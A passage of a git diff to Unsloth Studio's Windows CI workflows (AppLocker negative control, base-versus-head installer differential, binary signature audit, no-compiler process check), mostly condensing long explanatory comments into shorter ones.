Write-Host "::error::Baseline install did not create $unslothExe."
@@ -194,10 +151,7 @@ jobs:
Set-AppLockerPolicy -XmlPolicy $policyPath
& gpupdate.exe /target:computer /force
if ($LASTEXITCODE -ne 0) { throw "gpupdate failed (exit $LASTEXITCODE)" }
- # AppIDSvc reads the effective policy when it starts. Starting it first
- # and setting the policy afterwards left the service enforcing nothing,
- # and the first run of this job watched the stub launch happily for the
- # denied user. Restart AFTER the policy is in place, every time.
+ # Restart AppIDSvc AFTER setting the policy; it only reads the policy on start.
Restart-Service -Name AppIDSvc -Force
(Get-Service -Name AppIDSvc).WaitForStatus('Running', [timespan]::FromSeconds(60))
@@ -222,8 +176,6 @@ jobs:
run: |
$ErrorActionPreference = 'Stop'
- # The probe user needs a writable place to work; its own profile is
- # created by -LoadUserProfile.
$probeRoot = $env:UNSLOTH_PROBE_ROOT
New-Item -ItemType Directory -Force -Path $probeRoot | Out-Null
& icacls.exe $probeRoot /grant "$($env:UNSLOTH_PROBE_USER):(OI)(CI)M" /Q | Out-Null
@@ -232,10 +184,7 @@ jobs:
(Get-Date).ToString('o') |
Set-Content -LiteralPath logs\negative-control-started-at.txt
- # Run the stub on purpose, as the denied user, and require Windows to
- # refuse it with ERROR_ACCESS_DISABLED_BY_POLICY. This is the only
- # thing in the job that generates a block event, because everything
- # else is supposed to avoid the stub entirely.
+ # Negative control: the stub must be refused with ERROR_ACCESS_DISABLED_BY_POLICY.
$blockedExe = Join-Path $env:UNSLOTH_STUDIO_HOME 'unsloth_studio\Scripts\unsloth.exe'
$wrapperTemplate = @'
$ErrorActionPreference = 'Stop'
@@ -268,10 +217,7 @@ jobs:
"$env:COMPUTERNAME\$($env:UNSLOTH_PROBE_USER)",
$securePassword
)
- # Enforcement goes live asynchronously: the service has to load the
- # policy and the user's token has to pick it up, and neither is
- # signalled. Retry rather than sample once, or the job fails on timing
- # and reports a regression that is not there.
+ # Enforcement goes live asynchronously, so retry instead of sampling once.
$exitCode = $null
foreach ($attempt in 1..12) {
$process = Start-Process -FilePath powershell.exe `
@@ -280,10 +226,7 @@ jobs:
-RedirectStandardOutput $controlOut -RedirectStandardError $controlErr `
-Wait -PassThru
$exitCode = $process.ExitCode
- # One file per attempt. Enforcement was observed going live on the
- # fourth try, and a single overwritten log left the evidence artifact
- # showing an earlier attempt's output next to a passing step, which
- # reads like a contradiction.
+ # One log file per attempt so the artifact shows each attempt.
"attempt ${attempt}: exit $exitCode" |
Set-Content -LiteralPath "logs\negative-control-$attempt.log" -Encoding UTF8
Get-Content -LiteralPath $controlOut, $controlErr |
@@ -318,9 +261,7 @@ jobs:
& icacls.exe $PWD /grant "$($env:UNSLOTH_PROBE_USER):(OI)(CI)RX" /T /C /Q | Out-Null
if ($LASTEXITCODE -ne 0) { throw "Could not grant repo read access to the probe user" }
- # Re-run the whole installer as the denied user. This is the path that
- # regressed in issue #8490: the setup handoff must reach the CLI
- # through the managed interpreter, never through the blocked stub.
+ # Re-run the installer as the denied user: setup must not touch the blocked stub.
$wrapperTemplate = @'
$ErrorActionPreference = 'Continue'
# Set here, not inherited: -Credential -LoadUserProfile hands the child
@@ -333,10 +274,8 @@ jobs:
-File .\install.ps1 --no-torch *>&1
exit $(if ($LASTEXITCODE) { $LASTEXITCODE } else { 0 })
'@
- # Two statements, not a chain with the dot at end of line: this step
- # runs under Windows PowerShell 5.1, which does not accept that
- # continuation. Both values are single-quoted in the template, so an
- # apostrophe in either path is doubled to escape it.
+ # Two statements: Windows PowerShell 5.1 rejects a trailing-dot continuation.
+ # Apostrophes are doubled for the single-quoted template.
$wrapper = $wrapperTemplate.Replace('__REPO__', "$PWD".Replace("'", "''"))
$wrapper = $wrapper.Replace('__HOME__', $env:UNSLOTH_STUDIO_HOME.Replace("'", "''"))
$wrapperPath = Join-Path $probeRoot 'invoke-installer.ps1'
@@ -366,9 +305,7 @@ jobs:
exit 1
}
- # The installer must have written to the home the deny rule covers. If
- # it resolved somewhere else, everything above passed against a file no
- # policy ever touched.
+ # The installer must have written to the home the deny rule covers.
$blockedExe = Join-Path $env:UNSLOTH_STUDIO_HOME 'unsloth_studio\Scripts\unsloth.exe'
if (-not (Test-Path -LiteralPath $blockedExe -PathType Leaf)) {
Write-Host "::error::The installer did not install to the denied home; $blockedExe is missing, so this run proved nothing."
@@ -376,13 +313,11 @@ jobs:
}
$installLog = Get-Content -LiteralPath logs\install.log -Raw
- # A run that never reached the handoff would exit 0 having proved nothing.
if ($installLog -notmatch 'Running studio setup|running unsloth studio setup') {
Write-Host '::error::The installer exited 0 without reaching the studio setup handoff.'
exit 1
}
- # Both wordings: the first is PowerShell's own launch failure, the
- # second is install.ps1's diagnostic for a blocked managed interpreter.
+ # PowerShell's launch failure and install.ps1's own diagnostic.
if ($installLog -match 'Application Control policy has blocked|Windows Application Control blocked') {
Write-Host '::error::The installer still tried to execute a program the policy denies.'
exit 1
@@ -401,7 +336,6 @@ jobs:
Write-Host "::error::The installer left no policy-safe shim at $shim."
exit 1
}
- # As the denied user, so the .exe next to it stays unrunnable.
$probeRoot = $env:UNSLOTH_PROBE_ROOT
$wrapperPath = Join-Path $probeRoot 'invoke-shim.ps1'
@"
@@ -440,16 +374,12 @@ jobs:
Write-Host '::warning::The negative control did not start; no AppLocker event is expected.'
exit 0
}
- # Scoped to the negative control, the only thing in this job that
- # deliberately starts the stub. The installer window is the wrong one
- # to look in: a correct installer never touches it.
+ # Scoped to the negative control; a correct installer never starts the stub.
$startedAt = [datetime](Get-Content -LiteralPath logs\negative-control-started-at.txt -Raw)
$events = @(
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-AppLocker/EXE and DLL'
- # 8004 is "was prevented from running". 8002 ("was allowed") is
- # also logged under EnforcementMode=Enabled, so without this an
- # allowed launch would pass as proof of a block.
+ # 8002 ("allowed") is also logged, so require 8004 ("prevented").
Id = 8004
StartTime = $startedAt.AddSeconds(-5)
} -ErrorAction SilentlyContinue |
@@ -458,8 +388,6 @@ jobs:
$events | Format-List TimeCreated, Id, LevelDisplayName, Message |
Out-File -LiteralPath logs\applocker-events.txt -Encoding utf8 -Width 300
- # Without this the job is vacuous: an unenforced policy would let a
- # green installer run masquerade as a fix.
if ($events.Count -eq 0) {
Write-Host '::error::No AppLocker 8004 event naming unsloth.exe was recorded; the deny rule never applied.'
exit 1
diff --git a/.github/workflows/windows-arm64-ci.yml b/.github/workflows/windows-arm64-ci.yml
index b239699918d..31f31999909 100644
--- a/.github/workflows/windows-arm64-ci.yml
+++ b/.github/workflows/windows-arm64-ci.yml
@@ -23,13 +23,7 @@ on:
- 'tests/studio/test_uninstall_prebuilt_parity.ps1'
- 'tests/studio/test_uninstall_reparse_stop_roots.ps1'
- '.github/workflows/windows-arm64-ci.yml'
- # Imported or read by the ARM64 tests above: woa_ps_harness.py and
- # tests/_shared/unsloth_pwsh_runner.py, the fixtures in
- # tests/studio/install/conftest.py and the root conftest chain, woa-wheelhouse.yml
- # (whose release_tag test_woa_wheelhouse_prefers_pypi.py checks against
- # install.ps1), and the installer modules the tests load by path
- # (install_manifest.py, install_llama_prebuilt.py, and the backend utils
- # install_python_stack.py imports at module scope).
+ # Imported or read by the ARM64 tests above.
- 'tests/studio/install/woa_ps_harness.py'
- 'tests/studio/install/conftest.py'
- 'tests/conftest.py'
@@ -64,13 +58,7 @@ on:
- 'tests/studio/test_uninstall_prebuilt_parity.ps1'
- 'tests/studio/test_uninstall_reparse_stop_roots.ps1'
- '.github/workflows/windows-arm64-ci.yml'
- # Imported or read by the ARM64 tests above: woa_ps_harness.py and
- # tests/_shared/unsloth_pwsh_runner.py, the fixtures in
- # tests/studio/install/conftest.py and the root conftest chain, woa-wheelhouse.yml
- # (whose release_tag test_woa_wheelhouse_prefers_pypi.py checks against
- # install.ps1), and the installer modules the tests load by path
- # (install_manifest.py, install_llama_prebuilt.py, and the backend utils
- # install_python_stack.py imports at module scope).
+ # Imported or read by the ARM64 tests above.
- 'tests/studio/install/woa_ps_harness.py'
- 'tests/studio/install/conftest.py'
- 'tests/conftest.py'
diff --git a/.github/workflows/windows-installer-differential-ci.yml b/.github/workflows/windows-installer-differential-ci.yml
index 53ce0b007b6..df3ab959c80 100644
--- a/.github/workflows/windows-installer-differential-ci.yml
+++ b/.github/workflows/windows-installer-differential-ci.yml
@@ -1,34 +1,11 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Does a change to the Windows installer alter what it does?
-#
-# Six antivirus-hardening passes have shipped, each argued safe in prose. This lane replaces the
-# argument with a measurement: install from the merge base and from the candidate on two identical
-# Windows runners, and compare the user-visible transcript, the .lnk launch contract read back
-# through the shell, the generated launcher files, and whether a second install rewrites anything.
-# Zero differences is the pass condition.
-#
-# Three things make this different from the install lanes that already exist:
-#
-# * It is DIFFERENTIAL. A single absolute verdict on a 443 KB script is noise; a delta is not. The
-# two sides run in parallel, so the wall clock is one install rather than two.
-# * VOID is a first-class outcome. Same commit on both sides, missing evidence, an installer that
-# did not finish -- each of those is reported as "nothing was measured" and exits non-zero, with
-# a distinct exit code from "it changed". A lane whose broken state looks like its clean state is
-# worse than no lane.
-# * The comparer runs its own positive controls BEFORE it compares anything, and refuses to
-# produce a verdict if they fail. Unit tests for it are in
-# tests/python/test_installer_differential_comparer.py, and they test the failure direction
-# harder than the pass direction.
-#
-# Deliberately not a required check and deliberately not on every push: two full clean-machine
-# installs is expensive, and the installer changes it judges are rare. Run it with the
-# `installer-differential` label, by dispatch, or wait for the weekly schedule.
-#
-# What this lane cannot answer: anything about a third-party antivirus. Hosted runners have none,
-# and installing an endpoint agent per run is neither fast nor faithful. It also cannot answer
-# anything about Windows PowerShell 5.1 at a real console -- see windows-vt-preflight.yml for that.
+# Installs from the merge base and the candidate on identical runners and compares the
+# transcript, .lnk contract, launcher files and reinstall writes; zero differences passes.
+# VOID (nothing measured) has its own exit code, and the comparer self-tests first
+# (tests/python/test_installer_differential_comparer.py). Opt-in by label, dispatch or
+# weekly schedule. Cannot answer for third-party AV or a real 5.1 console.
name: "Windows: installer differential (base vs head)"
@@ -42,48 +19,32 @@ on:
pull_request:
types: [labeled, synchronize]
paths:
- # Only what this lane actually runs. The measurement invokes install.ps1, which hands off to
- # studio/setup.ps1, and nothing here executes studio/setup.bat or scripts/uninstall.ps1 --
- # a PR touching either used to start this workflow, produce identical evidence on both legs
- # because neither file was ever read, and report PASS without having tested the change. A
- # green lane that did not exercise the thing is worse than no lane, so the trigger now
- # matches the coverage. studio/setup.bat is covered by tests/studio/test_installer_av_shapes.py
- # and scripts/uninstall.ps1 by tests/studio/test_uninstall_dual_install_icon.ps1.
+ # Only what this lane runs; setup.bat and uninstall.ps1 are covered elsewhere.
- 'install.ps1'
- 'studio/setup.ps1'
- '.github/scripts/Collect-InstallerEvidence.ps1'
- '.github/scripts/compare_installer_evidence.py'
- '.github/workflows/windows-installer-differential-ci.yml'
- # The labelled lane sets UNSLOTH_CI_SOURCE_OVERLAY, so setup.ps1 runs this
- # checkout's installer modules and reads its prebuilt pins on the head side of the
- # comparison.
+ # UNSLOTH_CI_SOURCE_OVERLAY makes setup.ps1 run this checkout's installer modules.
- 'studio/install_*.py'
- 'studio/prebuilt_core.py'
- 'studio/nvidia_probe.py'
- 'studio/node_prebuilt_pins.json'
schedule:
- # Weekly, against main's own merge base, so the lane is known to work before it is relied on to
- # judge a change. A differential lane that has not run in a month is not evidence of anything.
+ # Weekly, so the lane is known to work before it judges a change.
- cron: '17 5 * * 1'
permissions:
contents: read
concurrency:
- # The label is part of the group, not only of the step gate. Workflow concurrency is evaluated
- # before any job runs, so a step that decides to do nothing still cancelled the measurement that
- # was in flight: applying any label to a PR whose files match the filter above started a run,
- # that run took this group, and the installs already going were killed. Label events that are not
- # `installer-differential` now share a group of their own, so they cancel each other and never a
- # measurement.
+ # The label is in the group so unrelated label events cannot cancel a measurement.
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}-${{ (github.event.action == 'labeled' && github.event.label.name != 'installer-differential') && 'unrelated-label' || 'measure' }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
env:
UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1'
UNSLOTH_SKIP_AUTOSTART: '1'
- # No colour and no spinner: this lane diffs the transcript, and a redraw is noise the comparer
- # would have to strip. It strips it anyway, but not needing to is better.
NO_COLOR: '1'
jobs:
@@ -113,11 +74,7 @@ jobs:
if [ "$EVENT" != "pull_request" ]; then
echo "wanted=1" >> "$GITHUB_OUTPUT"; exit 0
fi
- # On a `labeled` event, the label that was just applied, not the PR's whole list. With the
- # full list, adding ANY label to a PR that already carries this one started the lane again,
- # and the concurrency group has cancel-in-progress, so a measurement already running was
- # cancelled and restarted by an unrelated label. `synchronize` still reads the full list,
- # because there no single label was applied and the question is whether the PR has opted in.
+ # On `labeled`, use only the label just applied, or unrelated labels restart the lane.
if [ "$ACTION" = "labeled" ]; then
if [ "$NEW_LABEL" = "installer-differential" ]; then
echo "wanted=1" >> "$GITHUB_OUTPUT"
@@ -127,12 +84,8 @@ jobs:
fi
exit 0
fi
- # Two full installs per run, so a pull_request only opts in by label. `synchronize` is in
- # the trigger list so that a labelled PR keeps being re-measured as it is pushed to;
- # without it the verdict would be about whichever commit happened to be there when the
- # label was applied.
- # The quotes are part of the match. A bare substring would also fire on a future
- # `installer-differential-skip`, which is the one label that must not start two installs.
+ # Opt in by label only. Quotes are part of the match so `installer-differential-skip`
+ # does not fire.
if echo "$LABELS" | grep -q '"installer-differential"'; then
echo "wanted=1" >> "$GITHUB_OUTPUT"
else
@@ -154,10 +107,7 @@ jobs:
if [ -n "$BASE_INPUT" ]; then
git fetch --no-tags --depth=1 origin "$BASE_INPUT" 2>/dev/null || true
- # --verify --quiet on every one of these, not `2>/dev/null`. rev-parse ECHOES an
- # argument it cannot resolve to stdout before failing, so `a || b` captured the literal
- # AND the fallback's SHA and $base became two lines. base_ref=main is the documented
- # input and hits it every time: a checkout has origin/main and no local main.
+ # --verify --quiet: rev-parse echoes an unresolvable argument to stdout before failing.
base="$(git rev-parse --verify --quiet "$BASE_INPUT^{commit}" || git rev-parse --verify --quiet FETCH_HEAD || true)"
if [ -z "$base" ]; then
echo "::error::base_ref '$BASE_INPUT' could not be resolved to a commit, so there is no baseline to measure against."
@@ -165,35 +115,20 @@ jobs:
exit 1
fi
elif [ -n "${PR_BASE:-}" ]; then
- # The merge base, not the base branch tip. Comparing against a tip that has moved on
- # attributes somebody else's merged change to this PR.
+ # The merge base, not the base tip.
base="$(git merge-base "$PR_BASE" "$head")"
else
- # The default branch's merge base, which is what the base_ref input documents. HEAD~1 was
- # wrong for the case this branch actually serves: a manual dispatch on a feature branch
- # with more than one commit, where an installer change from an earlier commit is already
- # in both HEAD and HEAD~1, so the lane compared two trees that share it and reported PASS
- # without ever testing it against main.
+ # The default branch's merge base, as base_ref documents; HEAD~1 is wrong for multi-commit
+ # feature branches.
git fetch --no-tags origin "$DEFAULT_BRANCH" 2>/dev/null || true
default_tip="$(git rev-parse --verify --quiet FETCH_HEAD || git rev-parse --verify --quiet "origin/$DEFAULT_BRANCH" || true)"
base="$(git merge-base "$default_tip" "$head" 2>/dev/null || true)"
if [ -n "$default_tip" ] && [ "$head" = "$default_tip" ]; then
- # We ARE the tip of the default branch: the weekly health run, and a manual dispatch
- # from main. The merge base of main with main is main, and the same-commit guard below
- # would VOID every scheduled run, so the baseline here is the previous commit. That is
- # the right question for a health run, whose job is to show the lane still works.
- #
- # Compared against the fetched TIP, not inferred from the merge base being head. Head
- # being an ancestor of the default branch also makes that merge base head -- a dispatch
- # at an older main commit, or a branch with no commits of its own -- and substituting
- # HEAD~1 there measured two adjacent historical commits and could report PASS for a
- # comparison nobody asked for. Those cases fall through to the same-commit guard and
- # are VOID, which is the honest answer: there is nothing of this branch to measure.
+ # Only at the default branch tip (weekly health run) compare with the previous commit;
+ # other ancestor cases fall through to the same-commit guard and are VOID.
echo "head is the tip of $DEFAULT_BRANCH, so this compares it against the previous commit on that branch"
base="$(git rev-parse HEAD~1)"
elif [ -z "$base" ]; then
- # Said out loud. HEAD~1 answers a narrower question than this lane claims to, and a
- # reader has to know which one they got.
echo "::warning::could not resolve $DEFAULT_BRANCH, so this compares against HEAD~1. That is the previous commit, not the default branch, and an installer change older than one commit is present on both sides."
base="$(git rev-parse HEAD~1)"
fi
@@ -205,8 +140,7 @@ jobs:
echo "head $head"
if [ "$base" = "$head" ]; then
- # Not a pass. Comparing a commit with itself shows the lane is deterministic and
- # nothing else, and reporting "no differences" for it would be a lie.
+ # Not a pass: same commit on both sides proves nothing.
echo "::error::base and head are the same commit ($base), so there is nothing to compare."
echo "::error::VOID. Pass base_ref explicitly if you meant to compare against something else."
echo "proceed=0" >> "$GITHUB_OUTPUT"
@@ -218,8 +152,6 @@ jobs:
if [ -n "$changed" ]; then
echo "installer files changed between the two: $changed"
else
- # Still worth running. It measures the lane itself, and it is the only way to learn
- # that two installs of adjacent commits differ for reasons outside these files.
echo "::notice::no installer file changed between the two commits; this run measures the lane"
fi
echo "proceed=1" >> "$GITHUB_OUTPUT"
@@ -228,9 +160,7 @@ jobs:
if: steps.gate.outputs.wanted == '1'
run: |
set -euo pipefail
- # Before either install starts. If the comparer's normalisation has drifted wide enough to
- # swallow a real change, the two installs are 90 minutes of runner time spent producing a
- # green check that means nothing, and it is far better to learn that here.
+ # Self-test before spending two installs.
python .github/scripts/compare_installer_evidence.py --self-test
measure:
@@ -255,9 +185,7 @@ jobs:
env:
WANT: ${{ matrix.side == 'base' && needs.resolve.outputs.base_sha || needs.resolve.outputs.head_sha }}
run: |
- # Without this, a checkout that silently resolved to the default branch would make both
- # sides the same tree, the comparison trivially pass, and the lane report that a change
- # broke nothing while never having seen the change.
+ # Guard against a checkout that silently resolved to the default branch.
$got = (git rev-parse HEAD).Trim()
Write-Host "checked out $got, wanted $env:WANT"
if ($got -ne $env:WANT) {
@@ -265,9 +193,7 @@ jobs:
exit 1
}
- # The collector and the comparer come from the HEAD of this branch on both sides on purpose.
- # A base commit that predates them has neither, and even where it has both, measuring the two
- # sides with two different rulers is not a measurement.
+ # Both sides are measured with the candidate's collector and comparer.
- name: Take the measuring tools from the candidate, not from each side
shell: pwsh
env:
@@ -281,9 +207,7 @@ jobs:
$leaf = Split-Path $f -Leaf
$dest = Join-Path $tools $leaf
git show "$($env:TOOLS_REF):$f" | Set-Content -LiteralPath $dest -Encoding utf8
- # Test-Path is not the check it looks like: a failed `git show` writes nothing down the
- # pipeline, Set-Content still creates the file, and the guard passes on a zero-byte
- # collector that then collects nothing. Both the exit status and the size are checked.
+ # Check exit status and size: Set-Content creates an empty file even if git show failed.
$code = $LASTEXITCODE
$size = if (Test-Path -LiteralPath $dest) { (Get-Item -LiteralPath $dest).Length } else { -1 }
if ($code -ne 0 -or $size -lt 1) {
@@ -298,53 +222,34 @@ jobs:
id: install
shell: pwsh
env:
- # Without this, install.ps1 installs `unsloth` from PyPI and the `studio setup` handoff
- # resolves studio/setup.ps1 from the RELEASED wheel, so both legs would exercise the same
- # released setup code and report PASS without ever running the candidate -- even though
- # studio/setup.ps1 and studio/setup.bat are two of this workflow's own triggers.
- # install.ps1:7172-7185 documents the mechanism; the overlay makes _PACKAGE_ROOT resolve
- # to this leg's checkout by PEP 660 __file__.
+ # Without the overlay both legs run the RELEASED setup.ps1 from PyPI and trivially match.
UNSLOTH_CI_SOURCE_OVERLAY: ${{ github.workspace }}
run: |
$ErrorActionPreference = 'Continue'
- # Deliberately NO UNSLOTH_STUDIO_HOME. Setting it puts install.ps1 into
- # StudioRedirectMode 'env', and New-StudioShortcuts returns before creating any .lnk
- # (install.ps1:3398), because in that mode a shortcut may point at a deleted workspace.
- # Both manifests then came back empty, so the shortcut comparison -- the one that sees a
- # change to -WindowStyle or -ExecutionPolicy, which is what this whole effort is about --
- # compared nothing at all. Isolation does not need the override: base and head are
- # separate matrix legs on separate throwaway runners.
+ # No UNSLOTH_STUDIO_HOME: its 'env' redirect mode skips creating .lnk shortcuts, so the
+ # shortcut comparison would compare nothing.
$out = Join-Path $env:RUNNER_TEMP 'evidence'
New-Item -ItemType Directory -Force -Path $out | Out-Null
$transcript = Join-Path $out 'transcript.txt'
- # Tee, not redirect: the log has to stay readable in the run's own output, and a lane
- # nobody can debug from the web UI gets deleted the first time it is inconvenient.
& powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -File ./install.ps1 2>&1 |
Tee-Object -FilePath $transcript
$code = $LASTEXITCODE
if ($null -eq $code) { $code = -1 }
Write-Host "installer exited $code"
"install_exit=$code" | Out-File -FilePath $env:GITHUB_OUTPUT -Append -Encoding utf8
- # Into the evidence directory, not only into a step output. A step output does not cross
- # into the compare job, so without this the comparer never sees whether the installer
- # finished -- and two installs that failed the same way print matching transcripts, leave
- # matching empty manifests, and read as "no behaviour difference".
+ # Record the exit code in the evidence dir; step outputs do not reach the compare job.
[ordered]@{ side = '${{ matrix.side }}'; installExit = $code } |
ConvertTo-Json -Depth 4 |
Set-Content -LiteralPath (Join-Path $out 'run.json') -Encoding utf8
- # Not a failure here. An installer that did not finish is recorded, and the comparer calls
- # the run VOID -- which is the honest outcome, and distinguishable from "it changed".
+ # The comparer reports an unfinished install as VOID.
exit 0
- name: Record what it left behind
if: always()
shell: pwsh
run: |
- # The default install root, matching the install above. install.ps1 derives it the same
- # way when no override is set (install.ps1:1566).
$studioHome = Join-Path $env:USERPROFILE '.unsloth\studio'
- # The launcher lives here on a normal-profile install, not under $StudioHome.
$studioData = if ($env:LOCALAPPDATA) { Join-Path $env:LOCALAPPDATA 'Unsloth Studio' } else { $studioHome }
& (Join-Path $env:UNSLOTH_EVIDENCE_TOOLS 'Collect-InstallerEvidence.ps1') `
-StudioHome $studioHome -StudioDataDir $studioData `
@@ -363,9 +268,7 @@ jobs:
$first = Join-Path $env:RUNNER_TEMP 'first-run-artifacts.json'
Copy-Item -LiteralPath (Join-Path $out 'artifacts.json') -Destination $first -Force
- # Several of the changes this lane judges touch content-comparison paths -- the code that
- # decides whether a launcher needs rewriting at all -- so "a reinstall writes nothing" is
- # a contract that can break silently.
+ # "A reinstall writes nothing" can break silently.
& powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -File ./install.ps1 2>&1 |
Tee-Object -FilePath (Join-Path $out 'transcript-second-run.txt') | Out-Null
$code = $LASTEXITCODE
@@ -375,9 +278,7 @@ jobs:
& (Join-Path $env:UNSLOTH_EVIDENCE_TOOLS 'Collect-InstallerEvidence.ps1') `
-StudioHome $studioHome -StudioDataDir $studioData -OutDir $out -CompareAgainst $first
- # Merged rather than overwritten, so a second-install step that runs after a failed first
- # one cannot quietly drop the first install's exit status and leave the evidence looking
- # complete.
+ # Merge, so a failed first install's exit status is never dropped.
$runFile = Join-Path $out 'run.json'
$run = if (Test-Path -LiteralPath $runFile) {
Get-Content -Raw -LiteralPath $runFile | ConvertFrom-Json
@@ -403,8 +304,7 @@ jobs:
compare:
name: did anything the user sees change
needs: [resolve, measure]
- # always(), so a side that failed still produces a verdict. The verdict in that case is VOID,
- # which is the point: "we could not measure" has to be visible and must not read as a pass.
+ # always(): a failed side must still produce a (VOID) verdict.
if: always() && needs.resolve.outputs.proceed == '1'
runs-on: ubuntu-24.04
timeout-minutes: 15
@@ -431,8 +331,7 @@ jobs:
- name: Prove the comparer can still fail, then compare
run: |
set -euo pipefail
- # Again, immediately before the verdict. The run above was 10 minutes and two installs
- # ago, and this is the assertion the whole lane rests on.
+ # Self-test again immediately before the verdict.
python .github/scripts/compare_installer_evidence.py --self-test
echo
set +e
diff --git a/.github/workflows/windows-llama-signature-audit.yml b/.github/workflows/windows-llama-signature-audit.yml
index 1e3c486d90d..27bfd690e27 100644
--- a/.github/workflows/windows-llama-signature-audit.yml
+++ b/.github/workflows/windows-llama-signature-audit.yml
@@ -184,14 +184,12 @@ jobs:
Write-Host 'Every audited binary is signed.'
exit 0
}
- # Hard failure by default.
if ($env:ENFORCE -eq 'true') {
Write-Host "::error::$unsigned unsigned PE file(s) in the published Windows bundles"
exit 1
}
Write-Host "::warning::$unsigned unsigned PE file(s) in the published Windows bundles. See the job summary."
- # The job above reads certificate tables.
code-integrity:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: App Control audit (signature-only)
@@ -262,14 +260,13 @@ jobs:
shell: powershell
run: |
$ErrorActionPreference = 'Continue'
- # Without this the whole job is unfalsifiable
+ # Positive control: without it the whole job is unfalsifiable.
$src = 'public class UnsignedControl { public static void Main() { System.Console.WriteLine("control"); } }'
$exe = Join-Path $PWD 'unsigned-control.exe'
Add-Type -TypeDefinition $src -OutputAssembly $exe -OutputType ConsoleApplication
if (-not (Test-Path $exe)) { throw 'could not build the unsigned control binary' }
& $exe 2>&1 | Write-Host
- # Polled rather than slept once.
$policyBare = "$env:SAC_POLICY_ID".Trim('{', '}').ToLowerInvariant()
$fromPolicy = {
param($e)
@@ -360,7 +357,6 @@ jobs:
$ErrorActionPreference = 'Continue'
$since = [datetime]::Parse($env:AUDIT_START).ToUniversalTime()
- # Scope to the extracted runtime.
$dir = $env:RUNTIME_DIR
if (-not $dir) {
# The exercise step sets RUNTIME_DIR once the bundle is extracted and llama-server.exe is found.
@@ -374,7 +370,6 @@ jobs:
($dir -replace '^[A-Za-z]:', '').TrimEnd('\')) + '\'
} else { $null }
- # Polled on the same bounded interval as the positive control, and for the same reason
$policyBare = "$env:SAC_POLICY_ID".Trim('{', '}').ToLowerInvariant()
$fromPolicy = {
param($e)
@@ -411,7 +406,6 @@ jobs:
exit 1
}
}
- # The evaluated file, not the whole message
$ours = @($events | Where-Object {
$subject = $_.Message
try {
@@ -476,7 +470,6 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Continue'
- # The records the artifact is named for.
$since = if ($env:AUDIT_START) {
[datetime]::Parse($env:AUDIT_START).ToUniversalTime()
} else { (Get-Date).AddHours(-2).ToUniversalTime() }
diff --git a/.github/workflows/windows-no-compiler-ci.yml b/.github/workflows/windows-no-compiler-ci.yml
index e2e8e2254b6..5753b01862c 100644
--- a/.github/workflows/windows-no-compiler-ci.yml
+++ b/.github/workflows/windows-no-compiler-ci.yml
@@ -1,36 +1,10 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The behavioural half of "the installer does not run a compiler".
-#
-# tests/studio/test_installer_av_shapes.py reads the scripts and fails on an
-# Add-Type that is not -AssemblyName. Text checks are blind to the two ways this
-# regresses in practice: a compile reached through a module, a dot-sourced file or
-# a generated here-string, and a compile a dependency performs on our behalf while
-# our own process tree is what a scanner scores. Bitdefender flagged the chain:
-#
-# unsloth-studio.exe -> powershell.exe -> csc.exe -> %TEMP%\<random>.dll
-#
-# so the assertion that matters is about processes, not source. This job turns on
-# 4688 process-creation auditing with command lines, runs the real installer, and
-# fails if csc.exe, vbc.exe or cvtres.exe appears, or if a DLL lands in a temporary
-# directory while the installer is running.
-#
-# The positive control is not optional and runs FIRST, because a detector that sees
-# nothing looks exactly like a clean run and every part of this can silently fail to
-# apply: auditpol overridden by machine policy, a full Security log, command-line
-# capture off. So the job compiles one throwaway type with Add-Type and REQUIRES both
-# signals to fire, failing as a broken detector before the real measurement.
-#
-# Scope: this proves nothing about a machine where App Control or Smart App Control
-# is enforcing, since a hosted runner has neither. It proves the shipped install path
-# spawns no compiler and drops no temporary DLL, which is the reported shape.
-#
-# Which revision of studio/setup.ps1 each leg measures is part of that scope. The
-# installer delegates setup to the managed CLI, so a default run executes the
-# setup.ps1 inside the released package, not the checkout. The shell leg therefore
-# measures the release; the desktop leg passes --local to overlay the checkout as an
-# editable install, and refuses to report a result unless the overlay is in the log.
+# Behavioural check that the installer runs no compiler: audits 4688 process creation and
+# fails on csc/vbc/cvtres or a DLL dropped in a temp dir. A positive control (one
+# Add-Type) must fire both detectors first. The shell leg measures the released
+# setup.ps1; the desktop leg uses --local and requires the overlay in the log.
name: Windows No Compiler CI
@@ -43,40 +17,26 @@ on:
- 'install.ps1'
- 'studio/setup.ps1'
- 'scripts/uninstall.ps1'
- # install.sh generates PowerShell into a here-string and runs it on the Windows
- # side for the WSL shortcut, so it can put a compiler on a user's Windows machine
- # without touching a .ps1. It did: the Add-Type that #10540 removed from
- # install.ps1 stayed live here, outside this list and outside the text guard.
+ # install.sh generates PowerShell for the WSL shortcut, which can run Add-Type on Windows.
- 'install.sh'
- 'studio/src-tauri/src/install.rs'
- 'studio/src-tauri/src/process.rs'
- 'tests/studio/test_installer_av_shapes.py'
- # The watcher implements both detectors, so a PR touching only it could disable
- # detection without running the positive control that would catch that.
+ # The watcher implements both detectors.
- '.github/scripts/Watch-ForCompiler.ps1'
- # Its own tests, whose Windows-only ACL control can only run on a Windows
- # runner, so an edit to them has to reach one.
+ # Its Windows-only ACL control needs a Windows runner.
- 'tests/python/test_compiler_watch_temp_scan.py'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- 'studio/prebuilt_core.py'
- 'studio/setup.sh'
- # setup.sh runs this at setup.sh:5130 and setup.ps1 at setup.ps1:9025, so it is the
- # last executed edge of the installer chain that was not listed here.
- 'studio/backend/utils/**'
- 'pyproject.toml'
- 'studio/backend/requirements/**'
- 'studio/install_*.py'
- 'studio/node_prebuilt_pins.json'
